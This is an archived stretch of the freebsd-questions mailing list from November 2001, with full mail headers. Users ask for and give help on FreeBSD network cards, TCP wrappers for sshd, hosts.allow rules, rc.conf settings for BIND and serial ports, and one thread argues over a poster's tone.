This is pretty nifty - I could get used to having four X-Term windows open. Marco Radzinschi E-Mail: marco@radzinschi.com AOL IM: CrackedBoy Running FreeBSD 4.4-RELEASE i386 4:36PM up 11 days, 1:05, 1 user, load averages: 1.01, 1.02, 1.00 On Tue, 20 Nov 2001, Marco Radzinschi wrote: > Hello: > > I have an HP Vectra VE 5/200 MMX Series 4 computer, which I would > like to turn into an X workstation. If anyone has gotten X to work on > this clunker, I would like to know what I should set as the configuration > settings for X. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 14: 4:54 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rcmls02.va.mediaone.net (rcmls02.va.mediaone.net [24.30.225.41]) by hub.freebsd.org (Postfix) with ESMTP id 2963C37B418 for ; Thu, 22 Nov 2001 14:04:50 -0800 (PST) Received: from i2020.net (va-65-97-13-249.va.mediaone.net [65.97.13.249]) by rcmls02.va.mediaone.net (8.11.1/8.11.1) with ESMTP id fAMM2iO22487 for ; Thu, 22 Nov 2001 17:02:44 -0500 (EST) Message-ID: <3BFD766E.BC9F3738@i2020.net> Date: Thu, 22 Nov 2001 17:04:30 -0500 From: Jim Graves Reply-To: jgraves@i2020.net X-Mailer: Mozilla 4.77 [en]C-DIAL (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: PNP Card Install Problem Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have release 4.2 #0 installed on a Pentium 4 machine with an ASUS P4T main board. The boot process lists all cards and installs them, but the network card fails. I have tried two different cards - same problem. From a DMESG, I see: dc0: at device 11.0 on pci2 dc0: couldn't map ports/memory device_probe_and_attach: dc0 attach returned 6 What is this telling me, how do I fix it? I've got to have a network card! On my old 200MHz Pentium Pro machine, both cards can be setup correctly, but I'd rather be running on my new machine at 1.5GHz. Sadly, I am having to send this e-mail from a Windows machine. Thanks... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 14: 4:57 2001 Delivered-To: freebsd-questions@freebsd.org Received: from beaujolais.extremis.net (beaujolais.extremis.net [217.158.56.33]) by hub.freebsd.org (Postfix) with ESMTP id 44C6437B419 for ; Thu, 22 Nov 2001 14:04:50 -0800 (PST) Received: by beaujolais.extremis.net (Postfix, from userid 1010) id 2C2EC7250D; Thu, 22 Nov 2001 22:04:44 +0000 (UTC) Date: Thu, 22 Nov 2001 22:04:44 +0000 From: George Cox To: P K Cc: freebsd-questions Subject: Re: ssh Message-ID: <20011122220444.GA65021@beaujolais.extremis.net> References: <000a01c1738b$522fb070$0100a8c0@cr1034264a> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <000a01c1738b$522fb070$0100a8c0@cr1034264a> User-Agent: Mutt/1.3.23.2i X-Operating-System: FreeBSD 4.3-RELEASE-p20 (i386) X-Nethack: You feel like someone is making a pointless Nethack reference.--More-- X-Y-Z: Now I know my ABCs, won't you sing along with me? X-Subliminal-Channel: Fnord Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 22/11 11:24, P K wrote: > Hi all Good day, Sir. > I have questions Not only have you come to the right place at freebsd-questions, but we also have the answers -- sometimes. > 1/ how do I know my ssh is with tcpwrapper? If it's the one in the base system it will be. To verify this, use the ldd command to see that sshd is linked against the TCP wrappers library "libwrap" /usr/sbin/sshd: libkrb5.so.3 => /usr/lib/libkrb5.so.3 (0x28097000) libasn1.so.3 => /usr/lib/libasn1.so.3 (0x280c6000) libcom_err.so.2 => /usr/lib/libcom_err.so.2 (0x280e4000) libmd.so.2 => /usr/lib/libmd.so.2 (0x280e6000) libopie.so.2 => /usr/lib/libopie.so.2 (0x280ef000) libcrypt.so.2 => /usr/lib/libcrypt.so.2 (0x280f8000) libcrypto.so.2 => /usr/lib/libcrypto.so.2 (0x2810d000) libutil.so.3 => /usr/lib/libutil.so.3 (0x281c3000) libz.so.2 => /usr/lib/libz.so.2 (0x281cc000) libwrap.so.3 => /usr/lib/libwrap.so.3 (0x281d9000) <<< TA DA libpam.so.1 => /usr/lib/libpam.so.1 (0x281e1000) libc.so.4 => /usr/lib/libc.so.4 (0x281ea000) > 2/ how do i configure the hosts.allow? Do you have examples? > put All:All: deny in the first line? > because it is not same as linux. hosts.deny hosts.deny is deprecated. Put all your rules in hosts.allow. Something like this should do the trick ALL : localhost 127.0.0.1 : allow sshd : ALL : allow ALL : ALL : deny > 3/ What is those symbols standing for > fxp0, dc0, bw0 The first two are network interface names fxp0 is the first Intel EtherExpress card in your machine dc0 is the first DEC Tulip clone card in your machine -- examine file /usr/src/sys/pci/if_dc.c as for bw0, I dunno -- http://www.etinc.com/bwmgrfaq.htm speaks of a Bandwidth Manager device bw0 gjvc -- [gjvc] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 14:37:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pr0n.kutulu.org (pr0n.kutulu.org [151.196.107.157]) by hub.freebsd.org (Postfix) with ESMTP id 2AE1037B405 for ; Thu, 22 Nov 2001 14:37:14 -0800 (PST) Received: from cc191573g (kutulu@cc191573-g.longhill1.md.home.com [24.37.104.136]) by pr0n.kutulu.org (8.11.6/8.11.6) with SMTP id fAMMa9U56999; Thu, 22 Nov 2001 17:36:09 -0500 (EST) (envelope-from kutulu@kutulu.org) Message-ID: <055301c173a5$39e7dfa0$88682518@longhill1.md.home.com> From: "Kutulu" To: "Ron Hensley" , "free bsd" References: <016c01c17395$bb6b0940$a50410ac@olmct.net> <025f01c17398$ca2721f0$090ea8c0@vhds001> <002d01c1739c$be293ab0$0273150a@woodstock.lanalyse.com> Subject: Re: Problems with Bind. Date: Thu, 22 Nov 2001 17:29:58 -0500 MIME-Version: 1.0 Content-Type: multipart/signed; boundary="----=_NextPart_000_054F_01C1737B.4EDC8110"; micalg=SHA1; protocol="application/x-pkcs7-signature" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_054F_01C1737B.4EDC8110 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit From: "Ron Hensley" To: "free bsd" Sent: Thursday, November 22, 2001 4:29 PM Subject: Re: Problems with Bind. > my bad /etc/defaults/rc.conf not /etc/default/rc.conf Bad bad bad! You should never modify /etc/defaults/rc.conf, nor any of the other files in /etc/defaults. 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Thu, 22 Nov 2001 14:38:42 -0800 (PST) Received: (qmail 30592 invoked by uid 0); 22 Nov 2001 22:38:41 -0000 Received: from tk212017108240.univie.teleweb.at (HELO Deadcell.ANT) (212.17.108.240) by mail.gmx.net (mp005-rz3) with SMTP; 22 Nov 2001 22:38:41 -0000 Received: (from ant@localhost) by Deadcell.ANT (8.11.5/8.11.5) id fAMMcMx68887; Thu, 22 Nov 2001 23:38:22 +0100 (CET) (envelope-from ant) Date: Thu, 22 Nov 2001 23:38:22 +0100 From: Andreas Ntaflos To: Anthony Atkielski Cc: freebsd-questions@freebsd.org Subject: Re: Error on xl0 Message-ID: <20011122233822.A68740@Deadcell.ANT> Mail-Followup-To: Anthony Atkielski , freebsd-questions@freebsd.org References: <021001c17359$5fa61cd0$0a00000a@atkielski.com> <3BFCFCD5.7950B58E@resfeber.se> <021701c17359$cb135550$0a00000a@atkielski.com> <3BFCFDBF.3BFF5586@resfeber.se> <021c01c1735a$f429de40$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <021c01c1735a$f429de40$0a00000a@atkielski.com>; from anthony@freebie.atkielski.com on Thu, Nov 22, 2001 at 02:38:21PM +0100 Platform: FreeBSD 4.4-STABLE Hostname: Deadcell.ANT Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 22, 2001 at 02:38:21PM +0100, Anthony Atkielski wrote: > If you don't wish to answer my questions, don't read them, and don't respond to > them--you'll save yourself time and bandwidth that way. In the meantime, > actions speak louder than words. > > by using this list as an 'Anthony-questions@freebsd.org' list? Like > > sendmail.org i guess you hadn't been to and all these 2-10 questions you > > ask every day to which many of them you could find the answers if you > > READ the man pages/handbook Well I believe Jon is right. Many things you mention in your questions could have been answered by simply telling you to RTFM or to read the handbook at http://www.freebsd.org/handbook . But there are always people around who are kind enough and try to help you with your problems and questions, any yet I've never seen you just posting a simple "Thanks for your replies" or "Thanks for your advice". Instead you have a writing style that surely makes a lot of people think that your just plain arrogant and ignorant. Although you don't seem to be a newbie or something like that, you seem to tend to blame everyone here for the problems you have with your machine and OS (Windows NT vs Open source, that mysterious reboot at night, etc) in a way which makes me wonder why, (and happy that), there has not been a signle person really starting to curse. But you keep pushing it anyhow. Noone here is forced to deal with your problems, yet this is supposed to be a community where we all should be politely and helpful to each other. Paradise, hm? However, I see so much aggression in your posts and particularily in your replies that I wonder why the hell you are wasting your and our time with those (not to speak from bandwidth, disk space and oxygen). We're not responsible for your problems, but your texts seem to just imply that and nothing else. So my advice to you would be to be thankful that there's such a thing like this list (and the others you are posting to) and thankful for it's people. Changing the way you ask or answer wouldn't be a bad idea either. regards -- Andreas "ant" Ntaflos ntaflos.andreas@gmx.net Vienna, AUSTRIA To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 14:42: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 7B31137B419 for ; Thu, 22 Nov 2001 14:42:02 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fAMMfvJ01410; Thu, 22 Nov 2001 23:41:57 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <03d001c173a6$e4c70c60$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Andreas Ntaflos" Cc: References: <021001c17359$5fa61cd0$0a00000a@atkielski.com> <3BFCFCD5.7950B58E@resfeber.se> <021701c17359$cb135550$0a00000a@atkielski.com> <3BFCFDBF.3BFF5586@resfeber.se> <021c01c1735a$f429de40$0a00000a@atkielski.com> <20011122233822.A68740@Deadcell.ANT> Subject: Re: Error on xl0 Date: Thu, 22 Nov 2001 23:41:57 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Andreas writes: > Well I believe Jon is right. The reply I gave to his message applies equally to yours, so I won't repeat it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 14:43:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ns1.vagner.com (NS1.VAGNER.COM [204.120.36.11]) by hub.freebsd.org (Postfix) with ESMTP id 37EF437B405 for ; Thu, 22 Nov 2001 14:43:37 -0800 (PST) Received: (from root@localhost) by ns1.vagner.com (8.11.6/8.11.6) id fAMMfVW09613 for questions@freebsd.org; Thu, 22 Nov 2001 15:41:31 -0700 (MST) (envelope-from george@vagner.com) Received: from thunderbird (vsat-148-63-135-179.c2.sb4.mrt.starband.net [148.63.135.179]) by ns1.vagner.com (8.11.6/8.11.6av) with SMTP id fAMMfBq09605 for ; Thu, 22 Nov 2001 15:41:15 -0700 (MST) (envelope-from george@vagner.com) From: "george" To: "Questions@Freebsd.Org" Subject: serial port on thinkpad 760xd Date: Thu, 22 Nov 2001 15:43:34 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG getting this on boot up sio0: configured irq 4 not in bitmap of probed irqs 0x400 sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A serial port dont work. anyone know the flags to set for this or a fix? George To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 14:56:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from molly.intercom.net (molly.intercom.net [216.240.106.84]) by hub.freebsd.org (Postfix) with ESMTP id 8158237B417 for ; Thu, 22 Nov 2001 14:56:27 -0800 (PST) Received: from cross (hh1105097.direcpc.com [206.71.105.97]) by molly.intercom.net (8.12.1/8.12.1) with SMTP id fAMMvCm4022956; Thu, 22 Nov 2001 17:57:14 -0500 (EST) Message-ID: <001601c173a8$c3b985a0$0273150a@woodstock.lanalyse.com> From: "Ron Hensley" To: "Kutulu" , "free bsd" References: <016c01c17395$bb6b0940$a50410ac@olmct.net> <025f01c17398$ca2721f0$090ea8c0@vhds001> <002d01c1739c$be293ab0$0273150a@woodstock.lanalyse.com> <055301c173a5$39e7dfa0$88682518@longhill1.md.home.com> Subject: Re: Problems with Bind. Date: Thu, 22 Nov 2001 17:55:12 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Then why in /etc/rc does it say this? (Appears to me if /etc/defaults/rc.conf exists, which it does, then it is parsed to find the value of the variables used in the /etc/rc.* files, and the /etc/rc.conf is never looked at. # If there is a global system configuration file, suck it in. # if [ -r /etc/defaults/rc.conf ]; then . /etc/defaults/rc.conf source_rc_confs elif [ -r /etc/rc.conf ]; then . /etc/rc.conf fi - - ----- Original Message ----- From: "Kutulu" To: "Ron Hensley" ; "free bsd" Sent: Thursday, November 22, 2001 5:29 PM Subject: Re: Problems with Bind. > From: "Ron Hensley" > To: "free bsd" > Sent: Thursday, November 22, 2001 4:29 PM > Subject: Re: Problems with Bind. > > > my bad /etc/defaults/rc.conf not /etc/default/rc.conf > > Bad bad bad! You should never modify /etc/defaults/rc.conf, nor any of the > other files in /etc/defaults. They all provide for their settings to be > overridden in other files. where custom settings belong. In this case, you > want to add named_enable="yes" (as well as named_program and named_flags if > you choose) into /etc/rc.conf. > > > - -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBO/2CO1Fb04N5DzUjEQKnhACgy4wOOBA4CGhJIsCqlcipHExr32kAoKwf 8OlP5RbB5p8ZrishoiZGstHI =Rp0r - -----END PGP SIGNATURE----- -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBO/2CT1Fb04N5DzUjEQL/zQCeKLWnaxz+M5OOop5Dtx7wD6RjbF8AmwVM frpOsWQr7Be4s64/Epe2Xeg1 =aNSs -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 15: 0:37 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gaia.host4u.net (gaia.host4u.net [209.150.128.48]) by hub.freebsd.org (Postfix) with ESMTP id 2317037B405 for ; Thu, 22 Nov 2001 15:00:33 -0800 (PST) Received: from andre ([216.71.43.117]) by gaia.host4u.net (8.8.5/8.8.5) with SMTP id QAA08604; Thu, 22 Nov 2001 16:58:20 -0600 Message-ID: <01c801c173a9$301319f0$a50410ac@olmct.net> Reply-To: "Andre` Niel Cameron" From: "Andre` Niel Cameron" To: "Ron Hensley" , "Kutulu" , "free bsd" References: <016c01c17395$bb6b0940$a50410ac@olmct.net> <025f01c17398$ca2721f0$090ea8c0@vhds001> <002d01c1739c$be293ab0$0273150a@woodstock.lanalyse.com> <055301c173a5$39e7dfa0$88682518@longhill1.md.home.com> <001601c173a8$c3b985a0$0273150a@woodstock.lanalyse.com> Subject: Re: Problems with Bind. Date: Thu, 22 Nov 2001 17:58:23 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ok, so which one do I change? Regards, Andre` C. Technical Support Ô¿Ô¬ ---------------------------------------------------------------------------- - Visit our support manual at http://supportmanual.com/ ----- Original Message ----- From: "Ron Hensley" To: "Kutulu" ; "free bsd" Sent: Thursday, November 22, 2001 5:55 PM Subject: Re: Problems with Bind. > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > - -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Then why in /etc/rc does it say this? > (Appears to me if /etc/defaults/rc.conf exists, which it does, then it is > parsed to find the value > of the variables used in the /etc/rc.* files, and the /etc/rc.conf is never > looked at. > > # If there is a global system configuration file, suck it in. > # > if [ -r /etc/defaults/rc.conf ]; then > . /etc/defaults/rc.conf > source_rc_confs > elif [ -r /etc/rc.conf ]; then > . /etc/rc.conf > fi > > - - ----- Original Message ----- > From: "Kutulu" > To: "Ron Hensley" ; "free bsd" > > Sent: Thursday, November 22, 2001 5:29 PM > Subject: Re: Problems with Bind. > > > > From: "Ron Hensley" > > To: "free bsd" > > Sent: Thursday, November 22, 2001 4:29 PM > > Subject: Re: Problems with Bind. > > > > > my bad /etc/defaults/rc.conf not /etc/default/rc.conf > > > > Bad bad bad! You should never modify /etc/defaults/rc.conf, nor any of > the > > other files in /etc/defaults. They all provide for their settings to be > > overridden in other files. where custom settings belong. In this case, > you > > want to add named_enable="yes" (as well as named_program and named_flags > if > > you choose) into /etc/rc.conf. > > > > > > > - -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBO/2CO1Fb04N5DzUjEQKnhACgy4wOOBA4CGhJIsCqlcipHExr32kAoKwf > 8OlP5RbB5p8ZrishoiZGstHI > =Rp0r > - -----END PGP SIGNATURE----- > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBO/2CT1Fb04N5DzUjEQL/zQCeKLWnaxz+M5OOop5Dtx7wD6RjbF8AmwVM > frpOsWQr7Be4s64/Epe2Xeg1 > =aNSs > -----END PGP SIGNATURE----- > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 15: 6:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from molly.intercom.net (molly.intercom.net [216.240.106.84]) by hub.freebsd.org (Postfix) with ESMTP id 3F28137B418 for ; Thu, 22 Nov 2001 15:06:15 -0800 (PST) Received: from cross (hh1105097.direcpc.com [206.71.105.97]) by molly.intercom.net (8.12.1/8.12.1) with SMTP id fAMN6wm4024047; Thu, 22 Nov 2001 18:07:00 -0500 (EST) Message-ID: <003301c173aa$219e46a0$0273150a@woodstock.lanalyse.com> From: "Ron Hensley" To: "Andre` Niel Cameron" , "Kutulu" , "free bsd" References: <016c01c17395$bb6b0940$a50410ac@olmct.net> <025f01c17398$ca2721f0$090ea8c0@vhds001> <002d01c1739c$be293ab0$0273150a@woodstock.lanalyse.com> <055301c173a5$39e7dfa0$88682518@longhill1.md.home.com> <001601c173a8$c3b985a0$0273150a@woodstock.lanalyse.com> <01c801c173a9$301319f0$a50410ac@olmct.net> Subject: Re: Problems with Bind. Date: Thu, 22 Nov 2001 18:04:58 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ----- Original Message ----- From: "Andre` Niel Cameron" To: "Ron Hensley" ; "Kutulu" ; "free bsd" Sent: Thursday, November 22, 2001 5:58 PM Subject: Re: Problems with Bind. > Ok, so which one do I change? > Regards, > Andre` C. > Technical Support > Ô¿Ô¬ Appears by the man page, /etc/rc.conf is the recommeneded place, however as /etc/defaults/rc.conf includes /etc/rc.conf its all the same in the long run. Use /etc/rc.conf and make Kutulu smile :P #man rc.conf NAME rc.conf - system configuration information DESCRIPTION The file rc.conf contains descriptive information about the local host name, configuration details for any potential network interfaces and which services should be started up at system initial boot time. In new installations, the rc.conf file is generally initialized by the system installation utility: /stand/sysinstall. The purpose of rc.conf is not to run commands or perform system startup actions directly. Instead, it is included by the various generic startup scripts in /etc which conditionalize their internal actions according to the settings found there. The /etc/rc.conf file is included from the file /etc/defaults/rc.conf, which specifies the default settings for all the available options. Options need only be specified in /etc/rc.conf when the system adminis- trator wishes to override these defaults. The file /etc/rc.conf.local is used to override settings in /etc/rc.conf for historical reasons. See the ``rc_conf_files'' option below. > -------------------------------------------------------------------------- -- > - > Visit our support manual at http://supportmanual.com/ > ----- Original Message ----- > From: "Ron Hensley" > To: "Kutulu" ; "free bsd" > Sent: Thursday, November 22, 2001 5:55 PM > Subject: Re: Problems with Bind. > > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > - -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Then why in /etc/rc does it say this? > > (Appears to me if /etc/defaults/rc.conf exists, which it does, then it is > > parsed to find the value > > of the variables used in the /etc/rc.* files, and the /etc/rc.conf is > never > > looked at. > > > > # If there is a global system configuration file, suck it in. > > # > > if [ -r /etc/defaults/rc.conf ]; then > > . /etc/defaults/rc.conf > > source_rc_confs > > elif [ -r /etc/rc.conf ]; then > > . /etc/rc.conf > > fi > > > > - - ----- Original Message ----- > > From: "Kutulu" > > To: "Ron Hensley" ; "free bsd" > > > > Sent: Thursday, November 22, 2001 5:29 PM > > Subject: Re: Problems with Bind. > > > > > > > From: "Ron Hensley" > > > To: "free bsd" > > > Sent: Thursday, November 22, 2001 4:29 PM > > > Subject: Re: Problems with Bind. > > > > > > > my bad /etc/defaults/rc.conf not /etc/default/rc.conf > > > > > > Bad bad bad! You should never modify /etc/defaults/rc.conf, nor any of > > the > > > other files in /etc/defaults. They all provide for their settings to be > > > overridden in other files. where custom settings belong. In this case, > > you > > > want to add named_enable="yes" (as well as named_program and named_flags > > if > > > you choose) into /etc/rc.conf. > > > > > > > > > > > - -----BEGIN PGP SIGNATURE----- > > Version: PGPfreeware 6.5.8 for non-commercial use > > > > iQA/AwUBO/2CO1Fb04N5DzUjEQKnhACgy4wOOBA4CGhJIsCqlcipHExr32kAoKwf > > 8OlP5RbB5p8ZrishoiZGstHI > > =Rp0r > > - -----END PGP SIGNATURE----- > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGPfreeware 6.5.8 for non-commercial use > > > > iQA/AwUBO/2CT1Fb04N5DzUjEQL/zQCeKLWnaxz+M5OOop5Dtx7wD6RjbF8AmwVM > > frpOsWQr7Be4s64/Epe2Xeg1 > > =aNSs > > -----END PGP SIGNATURE----- > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBO/2EmVFb04N5DzUjEQJBCQCfcZLFWErRF/vfpnTBuMntXADwqBQAn3Ml pk1g9IdeF1zFd5PE8FKzA2UG =z+2e -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 15:16:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail1.toronto.istar.net (mail1.toronto.istar.net [209.89.75.17]) by hub.freebsd.org (Postfix) with ESMTP id 6562437B416 for ; Thu, 22 Nov 2001 15:16:36 -0800 (PST) Received: from d226-39-102.home.cgocable.net ([24.226.39.102] helo=x1-6-00-50-ba-de-36-33.kico1.on.home.com) by mail1.toronto.istar.net with esmtp (Exim 2.02 #1) id 16735F-0000QS-00; Thu, 22 Nov 2001 18:16:41 -0500 Received: from localhost (genisis@localhost) by x1-6-00-50-ba-de-36-33.kico1.on.home.com (8.11.6/8.11.6) with ESMTP id fAMNN8m44595; Thu, 22 Nov 2001 18:23:08 -0500 (EST) (envelope-from genisis@istar.ca) X-Authentication-Warning: x1-6-00-50-ba-de-36-33.kico1.on.home.com: genisis owned process doing -bs Date: Thu, 22 Nov 2001 18:23:08 -0500 (EST) From: Dru X-X-Sender: To: Ron Hensley Cc: Andre` Niel Cameron , Kutulu , free bsd Subject: Re: Problems with Bind. In-Reply-To: <003301c173aa$219e46a0$0273150a@woodstock.lanalyse.com> Message-ID: <20011122182126.F44501-100000@x1-6-00-50-ba-de-36-33.kico1.on.home.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 22 Nov 2001, Ron Hensley wrote: > > Ok, so which one do I change? > > Regards, > > Andre` C. > > Technical Support > > =D4=BF=D4=AC > > Appears by the man page, /etc/rc.conf is the recommeneded place, however = as > /etc/defaults/rc.conf includes > /etc/rc.conf its all the same in the long run. Use /etc/rc.conf and make > Kutulu smile :P and the rest of us as well :) more /etc/rc.conf # Please make all changes to this file, not to /etc/defaults/rc.conf. # This file now contains just the overrides from /etc/defaults/rc.conf. Dru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 15:55:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id C12DD37B416 for ; Thu, 22 Nov 2001 15:55:34 -0800 (PST) Received: from hades.hell.gr (patr530-a012.otenet.gr [212.205.215.12]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAMNtTY00657; Fri, 23 Nov 2001 01:55:29 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fAMNnfY02647; Fri, 23 Nov 2001 01:49:41 +0200 (EET) (envelope-from charon@labs.gr) Date: Fri, 23 Nov 2001 01:49:41 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: freebsd-questions@FreeBSD.ORG Subject: Re: How do I set vidcontrol modes? Message-ID: <20011122234941.GD498@hades.hell.gr> References: <014d01c1721d$74e0c470$0a00000a@atkielski.com> <20011120164631.B11629@museum.rain.com> <01bd01c17227$0da4f510$0a00000a@atkielski.com> <035e01c1722a$8a37f340$2813933f@cat> <01de01c17230$c3ccf370$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <01de01c17230$c3ccf370$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-21 03:03:44, 